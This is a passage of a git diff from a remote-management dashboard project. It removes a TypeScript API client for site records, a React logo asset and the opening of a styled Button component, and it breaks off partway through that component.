api.get(`/api/sites/${id}`), - listByClient: (clientId: string) => api.get(`/api/clients/${clientId}/sites`), - create: (data: { client_id: string; name: string; address?: string; notes?: string }) => - api.post("/api/sites", data), - update: (id: string, data: { name?: string; address?: string; notes?: string; is_active?: boolean }) => - api.put(`/api/sites/${id}`, data), - delete: (id: string) => api.delete(`/api/sites/${id}`), - regenerateApiKey: (id: string) => - api.post<{ api_key: string; message: string }>(`/api/sites/${id}/regenerate-key`), -}; diff --git a/projects/msp-tools/guru-rmm/dashboard/src/assets/react.svg b/projects/msp-tools/guru-rmm/dashboard/src/assets/react.svg deleted file mode 100644 index 6c87de9..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/src/assets/react.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/projects/msp-tools/guru-rmm/dashboard/src/components/Button.tsx b/projects/msp-tools/guru-rmm/dashboard/src/components/Button.tsx deleted file mode 100644 index e12e305..0000000 --- a/projects/msp-tools/guru-rmm/dashboard/src/components/Button.tsx +++ /dev/null @@ -1,78 +0,0 @@ -import { ButtonHTMLAttributes, forwardRef } from "react"; -import { cn } from "../lib/utils"; - -/** - * Mission Control Button Component - * Monospace text with smooth transitions and glow effects - */ - -export interface ButtonProps extends ButtonHTMLAttributes { - variant?: "default" | "secondary" | "destructive" | "ghost" | "outline" | "link"; - size?: "default" | "sm" | "lg" | "icon"; -} - -const Button = forwardRef( - ({ className, variant = "default", size = "default", ...props }, ref) => { - return ( -